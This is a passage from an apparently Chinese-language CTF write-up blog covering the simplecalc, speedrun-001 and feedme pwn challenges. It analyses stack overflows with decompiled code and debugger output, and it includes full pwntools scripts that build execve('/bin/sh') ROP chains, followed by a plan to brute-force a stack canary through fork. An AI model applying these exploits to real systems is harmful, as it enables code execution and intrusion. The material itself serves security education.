 |#------------------------------------#|

Expected number of calculations: 100
Options Menu:
 [1] Addition.
 [2] Subtraction.
 [3] Multiplication.
 [4] Division.
 [5] Save and Exit.
=&amp;gt; 1
Integer x: 200
Integer y: 200
Result for x + y is 400.

Options Menu:
 [1] Addition.
 [2] Subtraction.
 [3] Multiplication.
 [4] Division.
 [5] Save and Exit.
=&amp;gt; 5
zsh: segmentation fault (core dumped)  ./simplecalc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;伪代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // edx
  int v4; // ecx
  int v5; // r8d
  int v6; // r9d
  int *v7; // rsi
  int v8; // edx
  int v9; // ecx
  int v10; // r8d
  int v11; // r9d
  const char *v13; // rdi
  _DWORD *v14; // rdx
  int v15; // ecx
  int v16; // r8d
  int v17; // r9d
  int v18; // edx
  int v19; // ecx
  int v20; // r8d
  int v21; // r9d
  int v22; // edx
  int v23; // ecx
  int v24; // r8d
  int v25; // r9d
  char v26[40]; // [rsp+10h] [rbp-40h] BYREF
  int v27; // [rsp+38h] [rbp-18h] BYREF
  int v28; // [rsp+3Ch] [rbp-14h] BYREF
  __int64 v29; // [rsp+40h] [rbp-10h]
  int i; // [rsp+4Ch] [rbp-4h]

  v28 = 0;
  setvbuf(stdin, 0LL, 2LL, 0LL);
  setvbuf(stdout, 0LL, 2LL, 0LL);
  print_motd();
  printf((unsigned int)&quot;Expected number of calculations: &quot;, 0, v3, v4, v5, v6);
  v7 = &amp;amp;v28;
  _isoc99_scanf((unsigned int)&quot;%d&quot;, (unsigned int)&amp;amp;v28, v8, v9, v10, v11);
  handle_newline();
  if ( v28 &amp;lt;= 255 &amp;amp;&amp;amp; v28 &amp;gt; 3 )
  {
    v13 = (const char *)(4 * v28);
    v29 = malloc(v13);
    for ( i = 0; i &amp;lt; v28; ++i )
    {
      print_menu((__int64)v13, (int)v7, (int)v14, v15, v16, v17);
      v7 = &amp;amp;v27;
      v13 = &quot;%d&quot;;
      _isoc99_scanf((unsigned int)&quot;%d&quot;, (unsigned int)&amp;amp;v27, v18, v19, v20, v21);
      handle_newline();
      switch ( v27 )
      {
        case 1:
          adds((__int64)&quot;%d&quot;, (int)&amp;amp;v27, v22, v23, v24, v25);
          v14 = (_DWORD *)(v29 + 4LL * i);
          *v14 = dword_6C4A88;
          break;
        case 2:
          subs((__int64)&quot;%d&quot;, (int)&amp;amp;v27, v22, v23, v24, v25);
          v14 = (_DWORD *)(v29 + 4LL * i);
          *v14 = dword_6C4AB8;
          break;
        case 3:
          muls((__int64)&quot;%d&quot;, (int)&amp;amp;v27, v22, v23, v24, v25);
          v14 = (_DWORD *)(v29 + 4LL * i);
          *v14 = dword_6C4AA8;
          break;
        case 4:
          divs((__int64)&quot;%d&quot;, (int)&amp;amp;v27, v22, v23, v24, v25);
          v14 = (_DWORD *)(v29 + 4LL * i);
          *v14 = dword_6C4A98;
          break;
        case 5:
          memcpy(v26, v29, 4 * v28);
          free(v29);
          return 0;
        default:
          v13 = &quot;Invalid option.\n&quot;;
          puts(&quot;Invalid option.\n&quot;);
          break;
      }
    }
    free(v29);
    return 0;
  }
  else
  {
    puts(&quot;Invalid number.&quot;);
    return 0;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;它先问我们要一个预期计算次数，保存在 &lt;code&gt;v28&lt;/code&gt; 中，若 &lt;code&gt;v28&lt;/code&gt; 大于 3 且小于等于 255 则继续执行下面的控制流。接下来给 &lt;code&gt;v29&lt;/code&gt; 分配了 &lt;code&gt;4 * v28&lt;/code&gt; 的大小，然后进入计算器界面，根据 &lt;code&gt;v27&lt;/code&gt; 拿到的输入选项执行不同的计算函数。比如 &lt;code&gt;adds&lt;/code&gt; 的伪代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall adds(__int64 a1, int a2, int a3, int a4, int a5, int a6)
{
  int v6; // edx
  int v7; // ecx
  int v8; // r8d
  int v9; // r9d
  int v10; // edx
  int v11; // ecx
  int v12; // r8d
  int v13; // r9d
  int v14; // edx
  int v15; // ecx
  int v16; // r8d
  int v17; // r9d
  int v18; // ecx
  int v19; // r8d
  int v20; // r9d

  printf((unsigned int)&quot;Integer x: &quot;, a2, a3, a4, a5, a6);
  _isoc99_scanf((unsigned int)&quot;%d&quot;, (unsigned int)&amp;amp;add, v6, v7, v8, v9);
  handle_newline();
  printf((unsigned int)&quot;Integer y: &quot;, (unsigned int)&amp;amp;add, v10, v11, v12, v13);
  _isoc99_scanf((unsigned int)&quot;%d&quot;, (unsigned int)&amp;amp;dword_6C4A84, v14, v15, v16, v17);
  handle_newline();
  if ( (unsigned int)add &amp;lt;= 0x27 || (unsigned int)dword_6C4A84 &amp;lt;= 0x27 )
  {
    puts(&quot;Do you really need help calculating such small numbers?\nShame on you... Bye&quot;);
    exit(0xFFFFFFFFLL);
  }
  dword_6C4A88 = add + dword_6C4A84;
  return printf((unsigned int)&quot;Result for x + y is %d.\n\n&quot;, add + dword_6C4A84, add, v18, v19, v20);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个函数从输入流获取两个参数 &lt;code&gt;x&lt;/code&gt; 和 &lt;code&gt;y&lt;/code&gt;，分别保存在 &lt;code&gt;&amp;amp;add&lt;/code&gt; 和 &lt;code&gt;&amp;amp;dword_6C4A84&lt;/code&gt; 处。然后判断这两个参数中任意一个是否小于等于 0x27(39D)，如果满足则退出，否则将结果保存在 &lt;code&gt;dword_6C4A88&lt;/code&gt;，并输出结果。最后程序将在 &lt;code&gt;v29&lt;/code&gt; 中开辟一小块空间将我们的计算结果放进去。&lt;/p&gt;
&lt;p&gt;剩下几个计算函数的伪代码形式都差不多，就不展示了。&lt;/p&gt;
&lt;p&gt;这里重点在选项 5 存在溢出问题。执行选项 5，程序用 &lt;code&gt;memcpy&lt;/code&gt; 将从 &lt;code&gt;v29&lt;/code&gt; 开始的 &lt;code&gt;4 * v28&lt;/code&gt; 大小内容复制到 &lt;code&gt;v26&lt;/code&gt;。但是看 &lt;code&gt;v26&lt;/code&gt; 的定义可知，它只有 40 Bytes 的容量。这使我们有足够的空间为所欲为 xD&lt;/p&gt;
&lt;p&gt;所以我们的思路大致是这样：构造一个执行 &lt;code&gt;/bin/sh&lt;/code&gt; 的 ROP Chain。由于程序最后会把我们的所有计算结果复制到栈上，所以构造方法是通过程序的计算功能算出各个 gadget 的地址。&lt;/p&gt;
&lt;p&gt;需要注意的是 &lt;code&gt;memcpy&lt;/code&gt; 之后有一个 &lt;code&gt;free&lt;/code&gt; 会清除我们的栈，为了绕过，我们可以给 &lt;code&gt;free&lt;/code&gt; 赋 0。&lt;/p&gt;
&lt;p&gt;so，先来看看溢出点：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; b *main+450
Breakpoint 1 at 0x401545
pwndbg&amp;gt; r
Starting program: /home/cub3y0nd/Projects/CTF/simplecalc

 |#------------------------------------#|
 |         Something Calculator         |
 |#------------------------------------#|

Expected number of calculations: 100
Options Menu:
 [1] Addition.
 [2] Subtraction.
 [3] Multiplication.
 [4] Division.
 [5] Save and Exit.
=&amp;gt; 5

Breakpoint 1, 0x0000000000401545 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────
*RAX  0x7fffffffe3c0 ◂— 0x1
*RBX  0x4002b0 (_init) ◂— sub rsp, 8
*RCX  0x6c8bd0 ◂— 0x0
*RDX  0x190
*RDI  0x7fffffffe3c0 ◂— 0x1
*RSI  0x6c8bd0 ◂— 0x0
*R8   0x6c6880 ◂— 0x6c6880
 R9   0x0
*R10  0x5
 R11  0x0
 R12  0x0
*R13  0x401c00 (__libc_csu_init) ◂— push r14
*R14  0x401c90 (__libc_csu_fini) ◂— push rbx
 R15  0x0
*RBP  0x7fffffffe400 —▸ 0x6c1018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0x42f230 (__stpcpy_ssse3) ◂— mov rcx, rsi
*RSP  0x7fffffffe3b0 —▸ 0x7fffffffe4e8 —▸ 0x7fffffffe861 ◂— &apos;/home/cub3y0nd/Projects/CTF/simplecalc&apos;
*RIP  0x401545 (main+450) ◂— call 4228d0h
───────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────
 ► 0x401545 &amp;lt;main+450&amp;gt;    call   4228d0h                       &amp;lt;memcpy&amp;gt;
        dest: 0x7fffffffe3c0 ◂— 0x1
        src: 0x6c8bd0 ◂— 0x0
        n: 0x190

   0x40154a &amp;lt;main+455&amp;gt;    mov    rax, qword ptr [rbp - 10h]
   0x40154e &amp;lt;main+459&amp;gt;    mov    rdi, rax
   0x401551 &amp;lt;main+462&amp;gt;    call   4156d0h                       &amp;lt;free&amp;gt;

   0x401556 &amp;lt;main+467&amp;gt;    mov    eax, 0
   0x40155b &amp;lt;main+472&amp;gt;    jmp    401588h                       &amp;lt;main+517&amp;gt;

   0x40155d &amp;lt;main+474&amp;gt;    mov    edi, 494402h
   0x401562 &amp;lt;main+479&amp;gt;    call   408de0h                       &amp;lt;puts&amp;gt;

   0x401567 &amp;lt;main+484&amp;gt;    add    dword ptr [rbp - 4], 1
   0x40156b &amp;lt;main+488&amp;gt;    mov    eax, dword ptr [rbp - 14h]
   0x40156e &amp;lt;main+491&amp;gt;    cmp    dword ptr [rbp - 4], eax
────────────────────────────────────[ STACK ]─────────────────────────────────────
00:0000│ rsp     0x7fffffffe3b0 —▸ 0x7fffffffe4e8 —▸ 0x7fffffffe861 ◂— &apos;/home/cub3y0nd/Projects/CTF/simplecalc&apos;
01:0008│-048     0x7fffffffe3b8 ◂— 0x100400e45
02:0010│ rax rdi 0x7fffffffe3c0 ◂— 0x1
03:0018│-038     0x7fffffffe3c8 ◂— 0x1
04:0020│-030     0x7fffffffe3d0 —▸ 0x7fffffffe4e8 —▸ 0x7fffffffe861 ◂— &apos;/home/cub3y0nd/Projects/CTF/simplecalc&apos;
05:0028│-028     0x7fffffffe3d8 —▸ 0x401c77 (__libc_csu_init+119) ◂— add rbx, 1
06:0030│-020     0x7fffffffe3e0 —▸ 0x4002b0 (_init) ◂— sub rsp, 8
07:0038│-018     0x7fffffffe3e8 ◂— 0x6400000005
──────────────────────────────────[ BACKTRACE ]───────────────────────────────────
 ► 0         0x401545 main+450
   1         0x40176c __libc_start_main+476
   2         0x400f77 _start+41
──────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; i f
Stack level 0, frame at 0x7fffffffe410:
 rip = 0x401545 in main; saved rip = 0x40176c
 called by frame at 0x7fffffffe4d0
 Arglist at 0x7fffffffe400, args:
 Locals at 0x7fffffffe400, Previous frame&apos;s sp is 0x7fffffffe410
 Saved registers:
  rbp at 0x7fffffffe400, rip at 0x7fffffffe408
pwndbg&amp;gt; distance 0x7fffffffe3c0 0x7fffffffe408
0x7fffffffe3c0-&amp;gt;0x7fffffffe408 is 0x48 bytes (0x9 words)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到目标地址距离 rip 是 &lt;code&gt;0x48(72D)&lt;/code&gt; Bytes，也就是 18 个 &lt;code&gt;int&lt;/code&gt;。为了不让程序执行到 &lt;code&gt;free&lt;/code&gt; 的时候崩溃，我们可以使前 18 个计算结果为 &lt;code&gt;0&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;接下来就是如何构造 ROP Chain 了。我们的目标是执行 &lt;code&gt;/bin/sh&lt;/code&gt;，所以可以通过调用 &lt;code&gt;execve()&lt;/code&gt; 来实现。&lt;/p&gt;
&lt;p&gt;查 &lt;a href=&quot;https://filippo.io/linux-syscall-table/&quot;&gt;syscall table&lt;/a&gt; 可知要让 &lt;code&gt;syscall&lt;/code&gt; 执行 &lt;code&gt;execve()&lt;/code&gt; 需要把 &lt;code&gt;rax&lt;/code&gt; 设为 59(0x3b)。此外，根据 &lt;code&gt;execve&lt;/code&gt; 的定义知道它还有三个参数需要满足：&lt;code&gt;int execve(const char *pathname, char *const _Nullable argv[], char *const _Nullable envp[]);&lt;/code&gt; 第一个参数是 &lt;code&gt;pathname&lt;/code&gt;，这里我们需要放 &lt;code&gt;/bin/sh&lt;/code&gt; 的地址，剩下两个参数我们用不上，直接置 0 即可。&lt;/p&gt;
&lt;p&gt;那么根据调用约定，&lt;code&gt;execve&lt;/code&gt; 的三个参数依次分别存放在 &lt;code&gt;rdi&lt;/code&gt;、&lt;code&gt;rsi&lt;/code&gt;、&lt;code&gt;rdx&lt;/code&gt; 中。&lt;/p&gt;
&lt;p&gt;所以我们的 ROP Chain 应该长这样：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pop rdi ; ret
/bin/sh\0
pop rsi ; ret
0
pop rdx ; ret
0
pop rax ; ret
0x3b
syscall
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但实际上这样会出问题，问题就是不能通过 &lt;code&gt;pop&lt;/code&gt; 把 &lt;code&gt;/bin/sh&lt;/code&gt; 字符串传入，这样传会被认为是指令而不是数据。所以我们需要通过 &lt;code&gt;mov&lt;/code&gt; 指令来实现传入 &lt;code&gt;/bin/sh&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov rdi, rsp
/bin/sh\0
pop rsi ; ret
0
pop rdx ; ret
0
pop rax ; ret
0x3b
syscall
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过 &lt;code&gt;ROPgadget&lt;/code&gt; 我们可以找到这些 gadget 的地址：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x0000000000400493 : pop r12 ; ret
0x0000000000492468 : mov rdi, rsp ; call r12
0x0000000000437aa9 : pop rdx ; pop rsi ; ret
0x000000000044db34 : pop rax ; ret
0x0000000000400488 : syscall
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import *

context(
    os=&apos;linux&apos;,
    arch=&apos;amd64&apos;,
    log_level=&apos;debug&apos;,
    terminal=&apos;kitty&apos;,
    binary=ELF(&apos;./simplecalc&apos;)
)

target = process()

recvline      = lambda : target.recvline()
recvuntil     = lambda str : target.recvuntil(str)
sendline      = lambda str : target.sendline(str)
sendlineafter = lambda str1, str2 : target.sendlineafter(str1.encode(), str2.encode())
interactive   = lambda : target.interactive()

def add(x, y):
    sendlineafter(&apos;=&amp;gt; &apos;, &apos;1&apos;)
    sendlineafter(&apos;x: &apos;, str(x))
    sendlineafter(&apos;y: &apos;, str(y))

def sub(x, y):
    sendlineafter(&apos;=&amp;gt; &apos;, &apos;2&apos;)
    sendlineafter(&apos;x: &apos;, str(x))
    sendlineafter(&apos;y: &apos;, str(y))

sendlineafter(&apos;Expected number of calculations: &apos;, &apos;100&apos;)

# padding for free(0)
for i in range(0, 18):
    sub(40, 40)

# pop rdx ; pop rsi ; ret
add(4422000, 313)
sub(40, 40)
sub(40, 40)
sub(40, 40)
sub(40, 40)
sub(40, 40)
# pop r12 ; ret
add(4195000, 475)
sub(40, 40)
# syscall
add(4195000, 464)
sub(40, 40)
# pop rax ; ret
add(4512000, 564)
sub(40, 40)
# 0x3b
sub(100, 41)
sub(40, 40)
# mov rdi, rsp ; call r12
add(4793000, 448)
sub(40, 40)
# /bin/sh\0
add(1852400000, 175)
add(6845000, 231)

sendlineafter(&apos;=&amp;gt; &apos;, &apos;5&apos;)
interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;BKPCTF{what_is_2015_minus_7547}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;DEFCON Quals 2019 Speedrun1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 5&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The Fast and the Furious&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;λ ~/ file speedrun-001
speedrun-001: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=e9266027a3231c31606a432ec4eb461073e1ffa9, stripped
λ ~/ pwn checksec speedrun-001
[*] &apos;/home/cub3y0nd/speedrun-001&apos;
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Hello brave new challenger
Any last words?
no
This will be the last thing that you say: no

Alas, you had no luck today.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看保护知道开了 NX，那可以试试构造 ROP Chain。&lt;/p&gt;
&lt;p&gt;这里用典型的调用 &lt;code&gt;execve()&lt;/code&gt; ROP。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/bin/sh&lt;/code&gt; 的话我放在了程序可读写的一段内存里，比如 &lt;code&gt;006b6000&lt;/code&gt; 就很合适，因为是私有地址，也不会影响程序运行。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;λ ~/ ./speedrun-001 &amp;amp;
[1] 21519
Hello brave new challenger
Any last words?
[1]  + suspended (tty input)  ./speedrun-001
λ ~/Projects/CTF/ cat /proc/21519/maps
00400000-004b6000 r-xp 00000000 103:07 19662851                          /home/cub3y0nd/Projects/CTF/speedrun-001
006b6000-006bc000 rw-p 000b6000 103:07 19662851                          /home/cub3y0nd/Projects/CTF/speedrun-001
006bc000-006bd000 rw-p 00000000 00:00 0
30bde000-30c01000 rw-p 00000000 00:00 0                                  [heap]
758b8d187000-758b8d18b000 r--p 00000000 00:00 0                          [vvar]
758b8d18b000-758b8d18d000 r-xp 00000000 00:00 0                          [vdso]
7fff62991000-7fff629b2000 rw-p 00000000 00:00 0                          [stack]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]
λ ~/ fg
[1]  + continued  ./speedrun-001
zsh: alarm      ./speedrun-001
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;溢出点的话，直接 &lt;code&gt;cyclic 2000&lt;/code&gt; 怼上去就有了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import *

context(
    os=&apos;linux&apos;,
    arch=&apos;amd64&apos;,
    log_level=&apos;debug&apos;,
    terminal=&apos;kitty&apos;,
    binary=ELF(&apos;./speedrun-001&apos;)
)

target = process()

recvline      = lambda : target.recvline()
recvuntil     = lambda str : target.recvuntil(str)
sendline      = lambda str : target.sendline(str)
sendlineafter = lambda str1, str2 : target.sendlineafter(str1.encode(), str2.encode())
interactive   = lambda : target.interactive()

rop = ROP(context.binary)

POP_RAX = rop.find_gadget([&apos;pop rax&apos;, &apos;ret&apos;])[0]
POP_RDI = rop.find_gadget([&apos;pop rdi&apos;, &apos;ret&apos;])[0]
POP_RSI = rop.find_gadget([&apos;pop rsi&apos;, &apos;ret&apos;])[0]
POP_RDX = rop.find_gadget([&apos;pop rdx&apos;, &apos;ret&apos;])[0]
SYSCALL = rop.find_gadget([&apos;syscall&apos;])[0]
BIN_SH = 0x68732f6e69622f

rop.raw(b&apos;A&apos; * 0x408)
rop.raw(POP_RAX)
rop.raw(0x6b6000)
rop.raw(POP_RDX)
rop.raw(BIN_SH)
# mov qword ptr [rax], rdx ; ret
rop.raw(0x48d251)
rop.raw(POP_RDI)
rop.raw(0x6b6000)
rop.raw(POP_RSI)
rop.raw(0x0)
rop.raw(POP_RDX)
rop.raw(0x0)
rop.raw(POP_RAX)
rop.raw(0x3b)
rop.raw(SYSCALL)

sendline(rop.chain())
interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;OOO{Ask any powner. Any real pwner. It don&apos;t matter if you pwn by an inch or a m1L3. pwning&apos;s pwning.}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;DEFCON Quals 2016 feedme&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 5&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Unknow&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;λ ~/ file feedme
feedme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped
λ ~/ pwn checksec feedme
[*] &apos;/home/cub3y0nd/feedme&apos;
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;λ ~/Projects/CTF/ ./feedme
FEED ME!
%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
ATE 70257025702570257025702570257025...
*** stack smashing detected ***: ./feedme terminated
Child exit.
FEED ME!
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
ATE 7025702570257025700a616161616161...
*** stack smashing detected ***: ./feedme terminated
Child exit.
FEED ME!
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
ATE 61616161616161616161616161616161...
*** stack smashing detected ***: ./feedme terminated
Child exit.
FEED ME!
^C
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到这个程序是有 canary 保护的，但是 &lt;code&gt;checksec&lt;/code&gt; 没有查出来。并且不能通过格式化字符串漏洞泄漏 canary。&lt;/p&gt;
&lt;p&gt;程序在每次触发 canary 之后都会终止并创建一个新进程，这么看大概是用了 &lt;code&gt;fork()&lt;/code&gt; 函数。那么可以尝试 one by one 逐字节爆破 canary。&lt;/p&gt;
&lt;p&gt;one by one 爆破的思想是利用 &lt;code&gt;fork&lt;/code&gt; 函数来不断逐字节泄漏 canary。&lt;code&gt;fork&lt;/code&gt; 函数的作用是通过系统调用创建一个与原来进程几乎完全相同的进程，这里的相同也包括 canary。当程序在 &lt;code&gt;fork&lt;/code&gt; 中触发 canary 时，&lt;code&gt;__stack_chk_fail&lt;/code&gt; 函数只能关闭 &lt;code&gt;fork&lt;/code&gt; 函数所创建的进程，但不会让主进程退出，因此当有大量 &lt;code&gt;fork&lt;/code&gt; 函数时，我们可以用它来逐字节泄漏 canary。&lt;/p&gt;
&lt;p&gt;由于我们知道程序是 32-bit 的，所以 canary 是 0x4 Bytes，并且最后一个字节是 &lt;code&gt;\x00&lt;/code&gt;，前三个字节随机，最多只要尝试 &lt;code&gt;256 * 3 = 768&lt;/code&gt; 次。由此，爆破理论看上去是可行的，那就可以写爆破脚本了。&lt;/p&gt;
&lt;p&gt;我们还知道程序开启了 NX 保护且没有 PIE，那泄漏 canary 之后我们多半需要构造 ROP Chain 来获得 shell。&lt;/p&gt;
&lt;p&gt;下面分析程序功能。&lt;/p&gt;
&lt;p&gt;伪代码：&lt;/p&gt;
&lt;p&gt;从 &lt;code&gt;main&lt;/code&gt; 函数来看，程序大概会执行 800 次 &lt;code&gt;fork&lt;/code&gt;，大于我们的最差情况。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void sub_80490B0()
{
  unsigned __int8 v0; // al
  int v1; // [esp+10h] [ebp-18h] BYREF
  unsigned int i; // [esp+14h] [ebp-14h]
  int v3; // [esp+18h] [ebp-10h]
  int v4; // [esp+1Ch] [ebp-Ch]

  v1 = 0;
  for ( i = 0; i &amp;lt;= 0x31F; ++i )
  {
    v3 = sub_806CC70();
    if ( !v3 )
    {
      v0 = sub_8049036();
      sub_804F700(&quot;YUM, got %d bytes!\n&quot;, v0);
      return;
    }
    v4 = sub_806CBE0(v3, &amp;amp;v1, 0);
    if ( v4 == -1 )
    {
      sub_804FC60(&quot;Wait error!&quot;);
      sub_804ED20(-1);
    }
    if ( v1 == -1 )
    {
      sub_804FC60(&quot;Child IO error!&quot;);
      sub_804ED20(-1);
    }
    sub_804FC60(&quot;Child exit.&quot;);
    sub_804FA20(0);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;int sub_8049036()
{
  const char *v0; // eax
  int result; // eax
  unsigned __int8 v2; // [esp+1Bh] [ebp-2Dh]
  char v3[32]; // [esp+1Ch] [ebp-2Ch] BYREF
  unsigned int v4; // [esp+3Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  sub_804FC60(&quot;FEED ME!&quot;);
  v2 = sub_8048E42();
  sub_8048E7E(v3, v2);
  v0 = (const char *)sub_8048F6E(v3, v2, 16);
  sub_804F700(&quot;ATE %s\n&quot;, v0);
  result = v2;
  if ( __readgsdword(0x14u) != v4 )
    sub_806F5B0();
  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;分别在 &lt;code&gt;sub_804FC60&lt;/code&gt;、&lt;code&gt;sub_8048E42&lt;/code&gt;、&lt;code&gt;sub_8048E7E&lt;/code&gt;、&lt;code&gt;sub_8048F6E&lt;/code&gt; 和 &lt;code&gt;sub_804F700&lt;/code&gt; 的调用处下断点，然后根据动态调试我们知道 &lt;code&gt;sub_804FC60&lt;/code&gt; 就是输出了 &lt;code&gt;FEED ME!&lt;/code&gt; 和 &lt;code&gt;\n&lt;/code&gt;；&lt;code&gt;sub_8048E42&lt;/code&gt; 就是获取了我们输入的第一个字节，转换成 ASCII 保存在 AL 中；&lt;code&gt;sub_8048E7E&lt;/code&gt; 就是根据上一个函数得到的 ASCII 值作为限定大小，让我们输入内容，内容保存到一个指针；&lt;code&gt;sub_8048F6E&lt;/code&gt; 就是将我们的输入的前 16 个字符转换为 ASCII 值并保存到 EAX 指向的地址；&lt;code&gt;sub_804F700&lt;/code&gt; 输出了 EAX 中的内容。&lt;/p&gt;
&lt;p&gt;具体调试过程太长就不贴出来了。&lt;/p&gt;
&lt;p&gt;下面计算一下偏移：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; b *0x08049069
Breakpoint 1 at 0x8049069
pwndbg&amp;gt; r
Starting program: /home/cub3y0nd/Projects/CTF/feedme

This GDB supports auto-downloading debuginfo from the following URLs:
  &amp;lt;https://debuginfod.archlinux.org&amp;gt;
Debuginfod has been disabled.
To make this setting permanent, add &apos;set debuginfod enabled off&apos; to .gdbinit.
[Attaching after process 40072 fork to child process 40075]
[New inferior 2 (process 40075)]
[Detaching after fork from parent process 40072]
[Inferior 1 (process 40072) detached]
FEED ME!
0
[Switching to process 40075]

Thread 2.1 &quot;feedme&quot; hit Breakpoint 1, 0x08049069 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────────
*EAX  0xffffd58c ◂— 0x0
*EBX  0x80481a8 ◂— push ebx
*ECX  0xffffd55b ◂— 0x130
*EDX  0x1
*EDI  0x80ea00c —▸ 0x8066130 ◂— mov edx, dword ptr [esp + 4]
 ESI  0x0
*EBP  0xffffd5b8 —▸ 0xffffd5e8 —▸ 0xffffd608 —▸ 0x8049970 ◂— push ebx
*ESP  0xffffd570 —▸ 0xffffd58c ◂— 0x0
*EIP  0x8049069 —▸ 0xfffe10e8 ◂— 0x0
────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]────────────────────────────────────────────────────────────────────
 ► 0x8049069    call   8048e7eh                      &amp;lt;0x8048e7e&amp;gt;

   0x804906e    movzx  eax, byte ptr [ebp - 2dh]
   0x8049072    mov    dword ptr [esp + 8], 10h
   0x804907a    mov    dword ptr [esp + 4], eax
   0x804907e    lea    eax, [ebp - 2ch]
   0x8049081    mov    dword ptr [esp], eax
   0x8049084    call   8048f6eh                      &amp;lt;0x8048f6e&amp;gt;

   0x8049089    mov    dword ptr [esp + 4], eax
   0x804908d    mov    dword ptr [esp], 80be715h
   0x8049094    call   804f700h                      &amp;lt;0x804f700&amp;gt;

   0x8049099    movzx  eax, byte ptr [ebp - 2dh]
────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd570 —▸ 0xffffd58c ◂— 0x0
01:0004│-044 0xffffd574 ◂— 0x30 /* &apos;0&apos; */
02:0008│-040 0xffffd578 ◂— 0x0
03:000c│-03c 0xffffd57c —▸ 0x806ccb7 ◂— sub esp, 20h
04:0010│-038 0xffffd580 —▸ 0x80ea200 ◂— 0xfbad2887
05:0014│-034 0xffffd584 —▸ 0x80ea247 ◂— 0xeb4d40a
06:0018│-030 0xffffd588 ◂— 0x300ea248
07:001c│ eax 0xffffd58c ◂— 0x0
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────
 ► 0 0x8049069
   1 0x80490dc
   2 0x80491da
   3 0x80493ba
   4 0x8048d2b
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt;
pwndbg&amp;gt; x/30wx 0xffffd58c
0xffffd58c: 0x00000000 0x00002710 0x00000000 0x00000000
